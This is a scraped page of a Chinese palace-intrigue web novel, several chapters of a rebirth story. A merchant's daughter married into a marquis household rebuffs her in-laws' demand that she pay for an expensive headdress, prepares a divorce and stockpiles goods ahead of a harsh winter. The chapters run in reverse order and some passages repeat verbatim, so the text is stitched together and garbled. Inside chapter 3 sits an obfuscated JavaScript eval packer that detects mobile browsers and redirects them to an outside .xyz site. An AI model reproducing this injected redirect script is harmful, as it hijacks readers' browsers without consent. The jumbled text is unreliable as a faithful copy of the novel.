姜氏又狠狠打了楚云清几下,“你个不省心的东西,竟是犯下这番糊涂事!事已至此,头面也没法退,不然侯府就要颜面扫地,你兄长也要被人嗤笑。” “而今侯府只余个空架子,你嫂嫂被你寒了心,你拿什么来补上这八千两?你给我跪下给你嫂嫂道歉,她不原谅你,你就不要起来!” 这番话明着是在责骂楚云清,但实际上却是说给陆知苒听的。 她若是识大体,就应当放下成见,把银子出了,不然,侯府闹了笑话,就是她的错。 楚云清痛哭流涕,一把扑到陆知苒跟前抱住她的大腿,“嫂嫂,我,我错了,我那都是无心之言,你就原谅我吧!头面之事,我真的只是一时糊涂,你就帮帮我吧!” 陆知苒不为所动,“我们商户满身铜臭味,我的银子更是臭不可闻,岂能拿出来污了妹妹高洁的品格?” 楚云清不依不饶,“就算不是为了我,也要为兄长的脸面着想啊!” 陆知苒淡淡道:“男人的脸面靠的是自己的功绩,而非这些阿堵之物。” 楚云清:…… 自己妹妹这番作态,楚翊安只觉十分丢脸。 而陆知苒的态度,同样让他心里不舒服。 难道她当真半点都不在乎自己的声誉? 姜氏眼底闪过一抹阴鸷,语气重了几分。 “知苒,你以前素来懂事,现在却是越发小家子气了,这让我如何放心把这个家交给你?” 这是又拿管家权来威胁她。 陆知苒:“儿媳自认才疏学浅,难当大任,母亲不把中馈交给我是对的。” 姜氏:…… 她完全不按常理出牌,把姜氏噎了正着。 好半晌,姜氏才找回自己的思路。 “安儿,你也劝劝吧,正所谓家和万事兴,你刚立了大功,还在等着朝廷给你分派差事,可不能在这个关头出岔子。” 楚翊安心中既恼怒又难堪,袖中拳头暗暗握紧,最终开口,“那副头面清儿不要了,你付了银子,便是你的。” 只要他们侯府付了银子,就保全了脸面,至于头面落在谁的手里,并不重要。 楚云清陡然尖叫,“不行,那是我的!” 楚翊安眼神狠厉地扫了她一眼,“你还要无理取闹到什么时候,还嫌不够丢人吗?” 楚云清鼻腔中瞬间涌起一股酸涩委屈,心底更升起浓浓的怨恨。 姜氏脑子转得快,连忙接话,“那头面刻了清儿的名字,转赠旁人不合适。” 楚云清眼神微闪,旋即也连忙点头,“对对,那头面刻了我的名字。” 那是她的,谁都抢不走! 陆知苒语气淡淡,“别人的东西我也不会要,嫌膈应。” 一句话让几人都黑了脸。 楚翊安压着怒火,“你到底想怎样?看着大家为此焦头烂额,你便高兴了?” 陆知苒:??? 她明明才是这件事的受害者,现在反倒成了过错方,真是可笑。 “你要这么想,我也没办法。” 楚翊安:…… “没事的话我先走了。” 她才懒得惯着这些人,简直浪费时间。 凭她对姜氏的了解,她定然有法子从别处弄到那八千两,到时候自己只管看戏便是。 拱了大家满肚子火,一分钱都没掏,她拍拍屁股走人了。 楚云清对着她的背影无能狂怒,“娘,就,就让她这么走了?” 姜氏满脸沉郁,“她现在完全就是个滚刀肉,我们能拿她怎么办?” 她看向楚翊安,“看来,她这次是真的被伤透了心,这才索性什么都不管了。安儿,解铃还须系铃人,你……” 楚翊安断然道:“我是不会去哄她的!” 第7章 出了银子也落不到好 陆知苒不答反问,“你们寻我可有什么事?” 楚云清张口就要说,被姜氏一记眼神制止了。 姜氏拉着她的手,一副为她做主的语气,“母亲听说,昨日厨房给你送去的饭菜不合胃口,今日便特意命人去敲打了一番,好叫他们知道知道分寸,别自以为是地做些蠢事。” 陆知苒轻轻把手抽了回来,“不过一桩小事罢了,不值一提。” 姜氏一脸正色,“你是当家主母,他们敢怠慢你,这岂是小事?今后这府中中馈还是交给你来管。我老了,这个家没有你实在不行。” 楚云清眼珠一转,也跟着开口吹捧,“可不是嘛,那些下人最会偷奸耍滑,只有嫂嫂镇得住他们,这个家还是嫂嫂来当最合适。” 姜氏佯怒地嗔了楚云清一眼,“你个丫头,眼里就只有你嫂嫂一人。” “女儿说的都是实话嘛,嫂嫂管家时便是厨房的饭菜都要好吃些,不像现在,都是些粗茶淡饭。” 陆知苒心中冷嘲,她管家时都是掏自己的私库补贴,饭菜能不好吃吗? 听完两母女唱的双簧,陆知苒以手撑额,露出痛苦之色。 “我落了水,身上还带着病气,实在没有精力操持庶务,母亲再让我歇一段时日吧。” 陆知苒不想浪费口舌与她们交锋,索性直接用拖字诀。 待三日后,她向皇上求了和离圣旨,一切问题自然迎刃而解。 她的态度平和,并未直接开口拒绝,落在几人眼里便成了妥协让步。 楚翊安唇角勾起一抹略带嘲讽的笑,还真以为她有多硬气,终究还是贪恋这管家权。 姜氏立马从善如流地开口,“你的确该好好歇一歇。清儿,明日你便陪你嫂嫂出门逛逛,松快松快。正好,你嫂嫂送你的那套金丝八宝攒珠头面做好了,明日你们直接到如意阁去瞧瞧。你嫂嫂疼你才舍得给你送那么贵重的礼物,你可得好好谢谢她。” 楚云清立马亲昵地挽上陆知苒的胳膊,嘴巴甜滋滋的。 “谢谢嫂嫂,那套头面我可喜欢了,你简直是世界上最好的嫂嫂!” 前世,楚云清便是这般打着她的名号私自定下了那昂贵的头面,又嘴巴抹蜜地夸赞她这个嫂嫂出手大方,待她如亲妹云云。 她被架了起来,不得不掏了银子,买了这个好名声。 而今两母女又是一套双簧组合拳,再次把她架了起来。 但凡她脸皮薄一点,就只能吃下这个哑巴亏。 只可惜,现在的她脸皮厚如铜墙,她们想故技重施在她身上占便宜,做梦去吧。 姜氏很自信。 有前头那管家权作为甜头,陆知苒必定乖乖掏了这笔银子。 后宅中的女人,有谁会真的不在意管家权?嘴上说不在意,实际上也不过是故意拿乔,想要更多的好处罢了。 姜氏又看向楚翊安,“安儿,左右你明日也无事,便陪知苒和清儿一道去逛逛。” 楚翊安的差事还尚未安排下来,现在赋闲在家。 楚翊安没说话,算是默认。 姜氏安排好,便含笑看着陆知苒。 她知道,陆知苒对翊安有情谊,明日,当着自己在意的夫君之面,她定然会大方地掏银子。 谁料,陆知苒却看着楚云清,真诚且疑惑地开口,“妹妹,我何时给你送过如意阁的头面?我怎的不记得了?” 姜氏脸上的笑意微顿,楚云清声音都拔高了几度。 “三个月前,咱们一块在如意阁看首饰,当时我便瞧上了那副金丝八宝攒珠头面,你不记得了吗?” 陆知苒点头,“确有此事。” 楚云清松了口气,但紧接着就听陆知苒道:“可我并未答应送你。” 楚云清的眼神微闪,旋即脸上便露出了委屈之色。 “嫂嫂,你怎能出尔反尔?莫不是你还在生兄长的气,连带着对我也嫌弃上了?” 楚云清抓住楚翊安的胳膊摇晃,“兄长,你快哄哄嫂嫂吧。” 楚翊安蹙眉看向陆知苒,心底升起一股厌烦,“当初你既大包大揽地定了此物,就该善始善终,就算生我的气,也不该无故毁约,连累侯府清誉受损。” 想到那烫手山芋,退也退不得,楚翊安便是一阵窝火。 陆知苒再次重申,“我说了,我不曾答应送她这副头面。” 楚翊安冷着脸,“清儿并非那等爱慕虚荣之人,难道还能胡说八道冤枉你不成?你既然送不起,就不要充大头。” 姜氏连忙开口打圆场,“安儿,知苒,你们都消消气,此事怕是有什么误会。” 她看了楚云清一眼,捕捉到她眼底那抹心虚,心中哪还有什么不明白的。 只怕陆氏的确不曾许诺过。 但这不重要,无论真相如何,这笔银子她都必须出。 姜氏再次开口,“此事到底已过了三月,怕是你们二人都记不大清了。知苒,母亲知道你不缺这点银子,咱们一家人为了那区区一副头面伤了和气也不值当。你若是送给清儿,她定然高兴,母亲也会念着你的好。” 她的八千两银子,就值得对方念她一句好?这算盘珠子都直接打到她脸上来了。 陆知苒语气淡淡,“八千两于我而言的确算不得什么,若是往日,我送便送了。但现在我便是出了这笔银子也落不到好,反而让人觉得我狭隘小气,我又何必白费力气?” 姜氏脸色微沉,很快又扯出笑脸。 “咱们都是一家人,凡事没必要计较得那般清楚。那副头面清儿的确很喜欢,现在再退也不合适。这样吧,明日你也在如意阁打一副头面,银子母亲出。” 陆知苒微微一笑,“儿媳不需要头面,母亲的银子还是留给妹妹买那副头面吧,妹妹那么喜欢,自然不好叫她空欢喜。” 姜氏:…… 她这般油盐不进的态度终于让姜氏沉了脸。 楚云清急得什么都顾不上了,直接嚷道:“你明明答应送给我,现在怎么能反悔?” 陆知苒语气坚定,“我有没有答应,我心里很清楚,我没说过就是没说过。” 第6章 这男人脑子是不是有病? 二人离开后,隔壁厢房才终于有了动静。 一个男子大喇喇地坐着,姿态随意散漫。 他肤色深,墨发广额,硬朗而锋锐。 眉骨上有一道浅淡伤疤,没破相,也不难看,却叫他平添几分匪气。 他抬脚,踹了身旁人一脚,“阿昀,你说,今年的冬天会冷吗?” 贺昀手里拿着蒲扇,十分卖力地扇风。 “殿下,您看现在这架势,像是会冷的样子吗?我都要热疯了。” 萧晏辞手指微屈,轻轻敲着桌面,“这般热的天气,陆大姑娘却要大量收购棉衣和炭,真是奇哉怪哉。” 贺昀嗐了一声,随口道:“女人嘛,头发长见识短呗。” 抬腿又给了贺昀一脚,“怎么,瞧不起女人?你是从谁的肚皮里爬出来的?你的小命是谁救的?” 他们主仆这趟出门点背,险些把小命丢了,正巧被石齐舟的商队捡到,顺路就捎回了京城。 真算起来,陆知苒也算是他们的救命恩人了。 贺昀立马伸手张嘴,“是小的嘴拙,该打。” 谁能想到,太仓商行的东家竟是个年轻女子呢? 萧晏辞问他,“你身上有多少银子?” 贺昀在身上掏吧掏吧,掏出一个钱袋子,倒出可怜的碎银几两。 萧晏辞一脸嫌弃,“穷死你算了。” 贺昀:“……那还不都怪您。” 他家殿下天生破财命,任何值钱的东西到了他手里都待不过一个时辰。 便是贺昀帮他保管钱财,也会不翼而飞。 他应该是当朝最穷的皇子,没有之一。 萧晏辞起身,大步流星往外走,贺昀连忙跟上,“殿下,您这是要去哪儿?” 萧晏辞:“进宫,找老头子要点银子花花。” 他有一种预感,跟着陆大姑娘下注,定能大赚一笔。 亏了也不要紧,反正不是他的银子。 与石齐舟商量完各项事宜,陆知苒主仆三人又去街上逛了一圈。 回到府中,已是日落西斜。 心情愉悦地回到玉笙居,没想到却看到了一位不速之客。 楚翊安沉着脸看着她,“以往在家中,你便是如此早出晚归,在外面肆意玩乐?” 好一顶大帽子。 陆知苒险些气笑了。 不欲与他多废话,陆知苒语气冷淡,“请问你有何贵干?” 楚翊安在这玉笙居足足等了大半日,早就等出了满肚子火气。 这女人倒好,非但半点没意识到自己的错误,还这般冷淡敷衍,楚翊安胸中的怒火达到顶点,瞬间炸了。 “这就是你对待夫君该有的态度?” 陆知苒心道,很快就不是了。 “你若是无事的话,请回吧,我要休息了。” 楚翊安只觉得自己一拳打在了棉花上,愤怒又无力。 想到来此的目的,楚翊安压下了胸中怒火,声音冷硬,“母亲唤你,现在就随我去一趟。” 陆知苒眸子微转,脑中忆起了前世的一桩事。 “我换身衣裳就来。” 入内更衣,陆知苒低声询问,“今日府里可是发生了何事?” 金嬷嬷:“如意阁的管事给大小姐送首饰来了。” 果然如此。 她的唇角勾起一抹嘲讽的笑,这些人可真有意思,把她当成召之即来挥之即去的钱袋子呢。 等了快小半个时辰,楚翊安已然不耐到了极致。 终于,陆知苒缓缓走了出来。 她换上了一身家常的素雪绢云形千水裙,原本脸上的妆容洗干净,不施粉黛,素面朝天,头上的海棠滴翠珠子碧玉簪是唯一亮色。 十分寡淡乏味的装扮,但楚翊安却似被什么轻轻撞了一下,眸色微深。 记忆瞬间拉回数年前,他在妙法寺初见她时的情形。 少女立在簌簌梨花下,如画的眉目含着怯怯的笑意,有种孱弱的美丽,令人生出一股强烈的保护欲。 心动不过一瞬。 得知她是自己早年定下的未婚妻,他心中生出无限柔软与欢喜,只盼早日娶她过门。 她今日又作如此装扮,是欲唤起他的怜惜吗? 楚翊安心头的情绪起伏,看向陆知苒的眼神也和缓下来。 她对自己痴情一片,自己却有了书宁,她耍一耍小性子也是情理之中。 看在她苦等自己三年的份儿上,就对她多些包容吧。 楚翊安放缓了语气,“待会儿到了母亲跟前,你听话些,莫要任性,我会替你求情,把管家权要回来。” 陆知苒:? “不必。” 这个破家,谁爱管谁管,她可不会再沾手。 楚翊安深深地望着她,“在我面前,你不必再这般强撑,你心里有什么委屈,都可以说出来。” 一股莫名的恶寒爬上四肢百骸,恶心得她想吐。 这男人脑子是不是有病?这个时候在她面前演什么深情? 她似笑非笑地看着楚翊安,“你现在说这番话不觉得虚伪恶心吗?” 楚翊安的面皮抽动几下,他强忍怒气,“知苒,我只是想跟你心平气和地说说话,你何必总是这样尖酸刻薄?” 陆知苒反问,“我就算说了自己的委屈,你除了那几句廉价的安慰,还能做些什么?” 楚翊安一时语塞。 陆知苒冷冷道:“既然什么都给不了我,那就不必如此故作姿态。” 说完她便抬步向前,不再理会这男人。 前世,她的确吃他这一套,每次都被对方的花言巧语哄得团团转,一再妥协退让。 这辈子,她不会再那般蠢! 楚翊安暗暗握了握拳,心中再次升腾起怒意。 她真的变了,变得与那些市井泼妇一般庸俗不堪,再不是当初在梨花下对自己怯怯一笑的少女。 楚翊安很失望。 陆知苒姗姗来迟,姜氏脸上却不见半分愠色,养气功夫十分了得。 楚云清满脸不虞,但想到自己的目的,硬生生忍住了没出言刁难。 陆知苒朝姜氏行了一礼,姜氏笑着朝她招手,“知苒,你来了?到母亲身旁来坐。” 陆知苒从善如流,毫不客气地坐了下来。 楚云清忍不住开口,“嫂嫂,你方才去哪儿了?我们都等了你一整天了呢!” 语气中难掩抱怨。 方才她亲眼瞧过了那头面,精致华美,堪称美轮美奂,她简直恨不得立马戴到头上去。 奈何陆知苒迟迟不归,她只能吹毛求疵地挑了些毛病,让如意阁的管事把头面拿回去了。 第5章 囤货 楚云清眼睛一亮,“那副头面一共八千八百八十八两,嫂嫂已经付了八百八十八两定金,还差八千两。” 楚翊安:…… 他怀疑自己听错了。 “你说多少?” 楚云清又重复了一遍,楚翊安脸色瞬间黑如锅底,“什么头面竟然这般昂贵?” 他一个月的俸禄也才不到百两,他在战场上拼杀三年,也没攒下八千两,她竟然敢花八千八百八十八两买一套头面? 别说他买不起,就算他买得起,他也不会花这个冤枉钱! 姜氏也舍不得让自己儿子出这笔银子,“那头面是陆氏做主给云清打的,这银子自然应当由她来出。” 楚云清偷觑楚翊安,“可是嫂嫂现在还在生气。” 这也是姜氏为难的原因。 她本已打定主意要好好冷着陆知苒一段时间,好叫她知道自己的斤两,也更方便日后拿捏她。 但谁料不过一日就来了这么一桩事。 楚翊安脸色难看,他断然道:“退了!” 楚云清拔高音量,“不行!” 楚翊安沉了脸,“什么样的头面不能戴?非要买这么贵的?” 楚云清满脸执拗,“那是嫂嫂给我买的,我凭什么不要?” 眼见两人要吵起来,姜氏及时开口,“翊安,这副头面的确不能退。如今你和赵氏都是炙手可热的功臣,大家都盯着侯府,这个时候把那头面退回去,侯府必将颜面无存,我们丢不起这个人。” 楚翊安神色微滞,一时无言反驳。 半晌他才道:“中公……” 他才刚开了个头,姜氏就连连叹息,“侯府上下几百口人要吃饭,你爹每月俸禄就那么点,朝廷每月发的食邑也是不够的,只能靠铺子和田庄的补贴。现在也尚未到收账之时,侯府实在艰难。” 楚翊安不敢相信侯府竟然这般穷困。 姜氏缓缓道:“翊安,你便亲自去玉笙居一趟,把陆氏请过来。你是她的天,你向她低头服个软,她的气自然就消了。” 楚云清也满脸期待地望着楚翊安。 楚翊安只觉得屈辱和羞恼。 “她如此使小性子,全然没有世家宗妇的大度,我这么巴巴地去请她,岂不是越发纵得她无法无天,不把书宁放在眼里?” 听到赵书宁,姜氏的眼底闪过一抹隐晦的嫌恶,却很快遮掩。 “陆氏这次的确太过小家子气,但这也说明她心里在乎你这个夫君。她苦等了你三年,你一回来就带了个女子,她如何能接受?一个女子有多少个三年可以蹉跎?她有点小脾气也是常理,你哄一哄她自然就消气了。” 楚云清忙不迭地附和,“对啊,嫂嫂她日日都念着兄长,说不定她早就后悔了,就等你给她递个台阶呢。” 楚翊安抿了抿唇,他那拧巴的自尊心得到了抚慰,心中的抗拒这才稍稍松动几分。 姜氏又好一番耐心劝解,楚翊安终于答应走一趟。 看在她对自己一片痴情的份上,自己就给她这个体面。 楚翊安调整好心绪,往玉笙居而去。 但没想到,他扑了个空,陆知苒已经出门了。 她和石管事约在漱芳斋碰面。 漱芳斋是一座茶楼,乃是读书人品茶论道的常去之地,而这也是陆知苒的产业之一,侯府并不知晓。 石齐舟今年四十出头,身形高大魁梧,面容黝黑,乍一看有些许憨厚,但眼底却带着一股精明。 前世,他一直都是陆知苒身边最忠诚得力的左膀右臂,更是值得信赖的长辈。 陆知苒脸上露出一抹亲近的笑,“石叔。” 石齐舟立马起身,“大小姐。” 他直言不讳,“大小姐,容我多一句嘴,那楚翊安忘恩负义,实非良配。” 显然已经知道楚翊安抬平妻,且为平妻请封诰命的事情。 陆知苒闻言,心头升起一股融融暖意。 前世,他也曾劝说自己认清身边人,但她执迷不悟,辜负了他的劝诫。 “石叔放心,我已经准备和离了。” 石齐舟听了这话,悬着的心终于放了下去。 “太好了,大小姐你能想得通就再好不过!” 他还以为大小姐会不愿意和离,毕竟这是夫人生前给她定的亲事。 “先前宫里便来了人,皇上召您三日后入宫觐见,大小姐有救世之举,以后不是侯府可以高攀的。” 陆知苒点头。 但她今日找石叔来,不是为了楚翊安的事情。 “石叔,我有一件要紧事需交给你来办。” 石齐舟忙道:“大小姐尽管吩咐。” 陆知苒:“我需要石叔你帮我购入大量的棉花和炭,但不要以商行的名义去收购,暗中行事就好。” 石齐舟沉吟了一会儿,“今年天象确实怪异,不仅是西平大旱,京城也是高温不下,热死不少百姓。俗话说大旱之年必有冷冬,大小姐囤棉花和炭确实可行,就不知大小姐想要囤多少。” “越多越好。”陆知苒面色凝重,“石叔你先清点我账上所有的现银,除开这两月的必要花销,其余银两全部购入棉花和炭。” 石齐舟一震,陆知苒有多少银子他再清楚不过。 如今要全部购入棉花和炭…… 而今已是十月中旬,却依然天热暖和,万一今年是个暖冬,大小姐的所有家当就会砸在手里。 看出他的犹疑,陆知苒的态度坚决,“石叔,听我的便是。” 现下秋日虽然还暖和,但再过不到一月,天气会急转直下,一日比一日冷,大雪也将绵延不断,大齐将遭遇百年来最冷、跨越时间最长的寒冬。 别说普通百姓,便是勋贵人家有银子也买不到棉衣和炭火。 这是一个契机。 老天既然让她重生,她必不放过任何一个机会! 石齐舟本想劝她稳妥一些,但见她眸光坚毅,带着一股胜券在握的笃定,素来谨慎的石齐舟莫名便生出了信服来。 他一咬牙,“行,我听大小姐的。” 陆知苒再次叮嘱,“动作要快,需得赶在一月内完成此事。” 石齐舟是个利落性子,既然接下了这个差事,他就片刻不耽搁,立马就去安排了。 第4章 买个东西都付不起? 回到玉笙居,丹烟已经把对牌,账目等东西整理好,送到姜氏的永福堂去。 奶娘金嬷嬷在一旁看了,满腹忧色。 “姑娘,您真的决定了吗?” “我意已决,奶娘不必再劝。” 在奶娘心里,女子和离便如同天塌一般,陆知苒没法立马扭转她的认知,待时日久了她便知道,和离是最正确的决定。 金嬷嬷叹息一声,到底不再多说什么。 陆知苒看着侯府高得难以攀爬的院墙。 前一世,她只想保护这院墙里的所有人……这辈子,这侯府里的一切,都即将与她无关了。 这样一想,竟觉前所未有的轻松 翌日。 不用管家,陆知苒难得清闲,心情也十分不错。 但这种悠闲并未维持太久,金嬷嬷入内通禀,“大小姐,陆家那头来人了。” 陆知苒垂下眼睫。 她落水之后,金嬷嬷气怒交加,便派人回陆家告状去了,只盼着她的好父亲能为她撑腰。 前世,她父亲的确派人来了,却不是来成为她的靠山的。 很快,一个体态丰腴的妇人入内,“奴婢见过大小姐。” 陆知苒神色淡淡的,“魏嬷嬷有何贵干?” 既没有赐座,也没有看茶,魏嬷嬷就这么干巴巴地站着,脸上神色略显难看。 她勉强挤出笑,“奴婢是奉了老爷之命,特来给小姐传一番话。” 陆知苒不轻不重地“嗯”了一声。 这与魏嬷嬷想的待遇不太一样,但眼下只能自己往下接话。 “老爷说,咱们姑爷立下大功,得了皇上亲口赞誉,此乃天大的荣耀,日后前途也定是不可限量。那位平妻亦是当世难得一见的奇女子,他们患难见真情,便是皇上都赞他们情真意笃,令人感动。大小姐乃侯门宗妇,合该贤惠大度,切莫使小性子,伤了夫妻和气,更损了两家的情谊。” 魏嬷嬷话还没有说完,金嬷嬷和翠芙就已经气得胸脯上下起伏。 这是一个父亲该对女儿说的话吗? 陆知苒的神色却十分平静。 上辈子便是如此。 她父亲已官至从三品的户部侍郎,但野心显然不止于此。将她嫁到侯府,就是为了攀附获益,又怎会在意她落水之事。 “我知晓了,劳烦魏嬷嬷跑一趟。” 魏嬷嬷被她的态度整懵了,一时呆愣着没说话。 “魏嬷嬷可还有旁的事?” “没,没了,大小姐若是没有旁的话,奴婢这便告退了。” 陆知苒又“嗯”了一声,魏嬷嬷只得告退离开了。 金嬷嬷和翠芙心中气恼至极,又担心陆知苒难过,不敢多说什么。 这时丹烟端着食盒,气鼓鼓地进了卧房。 “太欺负人了!” 翠芙连忙询问,“怎么了?” 丹烟把食盒里的饭菜端了出来,“你自己瞧瞧,今日厨房给咱的是什么菜!” 姜汁鱼片,糖醋荷藕,杏仁豆腐,还有一份清炒小白菜。 菜式倒是挺丰富,但每一道菜的品相却是大不如前,甚至那份杏仁豆腐都碎成了渣渣,叫人毫无食欲。 “以前小姐当家时,何曾短过他们的好处?如今咱们小姐才交了管家权,他们就敢如此过分,简直完全不把小姐看在眼里!” “更可气的是,青黛阁那位的人也来取食盒,她一个平妻,饭菜却比小姐的好多了,我忍住了才没说什么,那小贱人反而挤兑咱们小姐是手下败将,若不是怕给小姐惹麻烦,奴婢定要上前撕了那小贱人的嘴!” 翠芙也气得涨红了脸。 陆知苒眸底一派幽深。 若没有姜氏的授意,厨房定然不敢如此行事。 这是她对自己胆敢违逆她的敲打和惩戒。 “让你们跟着我一起受委屈了。” 丹烟和翠芙都一下红了眼眶,“奴婢不怕受委屈,奴婢是替您不值!” 不只是侯府,连陆家也这么容不得自家小姐! 早就看清了所有人的嘴脸,陆知苒没有她们那么激动,“这样的日子不会太久的。把这些都倒了喂狗吧。从今天开始,咱们院子里所有人的一日三餐都让饕餮阁现做了送来。” 饕餮阁也是陆知苒的产业,她每顿便是吃一桌倒一桌,也完全吃得起。 两个丫鬟立马高兴起来。 很快,玉笙居众人便吃上了新鲜味美的大餐。 深宅大院里没有秘密,此事很快传到了各个院中。 楚翊安“砰”一声放下了筷子,“母亲,那陆氏素日里便是如此做派?” 把饭菜当着下人的面倒了,转头就去外面定了上好的席面独自享用,这是在打谁的脸? 姜氏沉着脸没说话。 楚云清鄙夷地撇了撇嘴,“她是小门小户出身,又仗着自己有几个臭钱,做事自然随心所欲,不把侯府规矩放在眼里。” 楚翊安的眼底闪过一抹嫌恶。 以前她分明不是这样的人,短短三年,她竟变得如此陌生! 还是说,自己从未真正认清过她的秉性? 正气闷,一个管事婆子入内道:“夫人,如意阁的管事来了。” 姜氏还没反应过来,楚云清已经欢喜地道:“定是我上月定做的头面做好了,如意阁的管事亲自送来了。” 楚云清迫不及待就要去看看自己的新头面,姜氏却是猛地想到什么,急忙喊住她。 “清儿,等等。” 楚云清面露疑惑,“娘亲,怎么了?” 屋中其他人也都看向她,姜氏朝大家摆摆手,开口吩咐,“你们都先回去吧,清儿和翊安留下。” 丫鬟们赶忙告退了。 赵书宁疑惑地看了楚翊安一眼,楚翊安轻轻握了握她的手,“你先回去,我很快就来。” 赵书宁便不再多言,转身离开。 待屋中没了外人,姜氏这才开口,“那头面,是陆氏在如意阁为清儿定的,只付了定金,尾款却是未曾付的。” 今日如意阁的管事亲自把头面送来府上,自然要一手交钱,一手交货。 而今陆知苒正与他们赌气,这尾款,谁来付? 楚云清想到这一点,脸色变得难看起来。 楚翊安也明白了母亲话中之意,脸上顿时有点挂不住。 难道他堂堂侯府,买个东西还付不起? “那头面多少钱?我来付便是。” 第3章 身为正妻,理应大度 楚云清眼睛一亮,“那副头面一共八千八百八十八两,嫂嫂已经付了八百八十八两定金,还差八千两。” 楚翊安:…… 他怀疑自己听错了。 “你说多少?” 楚云清又重复了一遍,楚翊安脸色瞬间黑如锅底,“什么头面竟然这般昂贵?” 他一个月的俸禄也才不到百两,他在战场上拼杀三年,也没攒下八千两,她竟然敢花八千八百八十八两买一套头面? 别说他买不起,就算他买得起,他也不会花这个冤枉钱! 姜氏也舍不得让自己儿子出这笔银子,“那头面是陆氏做主给云清打的,这银子自然应当由她来出。” 楚云清偷觑楚翊安,“可是嫂嫂现在还在生气。” 这也是姜氏为难的原因。 她本已打定主意要好好冷着陆知苒一段时间,好叫她知道自己的斤两,也更方便日后拿捏她。 但谁料不过一日就来了这么一桩事。 楚翊安脸色难看,他断然道:“退了!” 楚云清拔高音量,“不行!” 楚翊安沉了脸,“什么样的头面不能戴?非要买这么贵的?” 楚云清满脸执拗,“那是嫂嫂给我买的,我凭什么不要?” 眼见两人要吵起来,姜氏及时开口,“翊安,这副头面的确不能退。如今你和赵氏都是炙手可热的功臣,大家都盯着侯府,这个时候把那头面退回去,侯府必将颜面无存,我们丢不起这个人。” 楚翊安神色微滞,一时无言反驳。 半晌他才道:“中公……” 他才刚开了个头,姜氏就连连叹息,“侯府上下几百口人要吃饭,你爹每月俸禄就那么点,朝廷每月发的食邑也是不够的,只能靠铺子和田庄的补贴。现在也尚未到收账之时,侯府实在艰难。” 楚翊安不敢相信侯府竟然这般穷困。 姜氏缓缓道:“翊安,你便亲自去玉笙居一趟,把陆氏请过来。你是她的天,你向她低头服个软,她的气自然就消了。” 楚云清也满脸期待地望着楚翊安。 楚翊安只觉得**和羞恼。 “她如此使小性子,全然没有世家宗妇的大度,我这么巴巴地去请她,岂不是越发纵得她无法无天,不把书宁放在眼里?” 听到赵书宁,姜氏的眼底闪过一抹隐晦的嫌恶,却很快遮掩。 “陆氏这次的确太过小家子气,但这也说明她心里在乎你这个夫君。她苦等了你三年,你一回来就带了个女子,她如何能接受?一个女子有多少个三年可以蹉跎?她有点小脾气也是常理,你哄一哄她自然就消气了。” 楚云清忙不迭地附和,“对啊,嫂嫂她日日都念着兄长,说不定她早就后悔了,就等你给她递个台阶呢。” 楚翊安抿了抿唇,他那拧巴的自尊心得到了抚慰,心中的抗拒这才稍稍松动几分。 姜氏又好一番耐心劝解,楚翊安终于答应走一趟。 看在她对自己一片痴情的份上,自己就给她这个体面。 楚翊安调整好心绪,往玉笙居而去。 但没想到,他扑了个空,陆知苒已经出门了。 她和石管事约在漱芳斋碰面。 漱芳斋是一座茶楼,乃是读书人品茶论道的常去之地,而这也是陆知苒的产业之一,侯府并不知晓。 石齐舟今年四十出头,身形高大魁梧,面容黝黑,乍一看有些许憨厚,但眼底却带着一股精明。 前世,他一直都是陆知苒身边最忠诚得力的左膀右臂,更是值得信赖的长辈。 陆知苒脸上露出一抹亲近的笑,“石叔。” 石齐舟立马起身,“大小姐。” 他直言不讳,“大小姐,容我多一句嘴,那楚翊安忘恩负义,实非良配。” 显然已经知道楚翊安抬平妻,且为平妻请封诰命的事情。 陆知苒闻言,心头升起一股融融暖意。 前世,他也曾劝说自己认清身边人,但她执迷不悟,辜负了他的劝诫。 “石叔放心,我已经准备和离了。” 石齐舟听了这话,悬着的心终于放了下去。 “太好了,大小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15161861|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你能想得通就再好不过!” 他还以为大小姐会不愿意和离,毕竟这是夫人生前给她定的亲事。 “先前宫里便来了人,皇上召您三日**宫觐见,大小姐有救世之举,以后不是侯府可以高攀的。” 陆知苒点头。 但她今日找石叔来,不是为了楚翊安的事情。 “石叔,我有一件要紧事需交给你来办。” 石齐舟忙道:“大小姐尽管吩咐。” 陆知苒:“我需要石叔你帮我购入大量的棉花和炭,但不要以商行的名义去收购,暗中行事就好。” 石齐舟沉吟了一会儿,“今年天象确实怪异,不仅是西平大旱,京城也是高温不下,热死不少百姓。俗话说大旱之年必有冷冬,大小姐囤棉花和炭确实可行,就不知大小姐想要囤多少。” “越多越好。”陆知苒面色凝重,“石叔你先清点我账上所有的现银,除开这两月的必要花销,其余银两全部购入棉花和炭。” 石齐舟一震,陆知苒有多少银子他再清楚不过。 如今要全部购入棉花和炭…… 而今已是十月中旬,却依然天热暖和,万一今年是个暖冬,大小姐的所有家当就会砸在手里。 看出他的犹疑,陆知苒的态度坚决,“石叔,听我的便是。” 现下秋日虽然还暖和,但再过不到一月,天气会急转直下,一日比一日冷,大雪也将绵延不断,大齐将遭遇百年来最冷、跨越时间最长的寒冬。 别说普通百姓,便是勋贵人家有银子也买不到棉衣和炭火。 这是一个契机。 老天既然让她重生,她必不放过任何一个机会! 石齐舟本想劝她稳妥一些,但见她眸光坚毅,带着一股胜券在握的笃定,素来谨慎的石齐舟莫名便生出了信服来。 他一咬牙,“行,我听大小姐的。” 陆知苒再次叮嘱,“动作要快,需得赶在一月内完成此事。” 石齐舟是个利落性子,既然接下了这个差事,他就片刻不耽搁,立马就去安排了。 第2章 我要和离 二人离开后,隔壁厢房才终于有了动静。 一个男子大喇喇地坐着,姿态随意散漫。 他肤色深,墨发广额,硬朗而锋锐。 眉骨上有一道浅淡伤疤,没破相,也不难看,却叫他平添几分匪气。 他抬脚,踹了身旁人一脚,“阿昀,你说,今年的冬天会冷吗?” 贺昀手里拿着蒲扇,十分卖力地扇风。 “殿下,您看现在这架势,像是会冷的样子吗?我都要热疯了。” 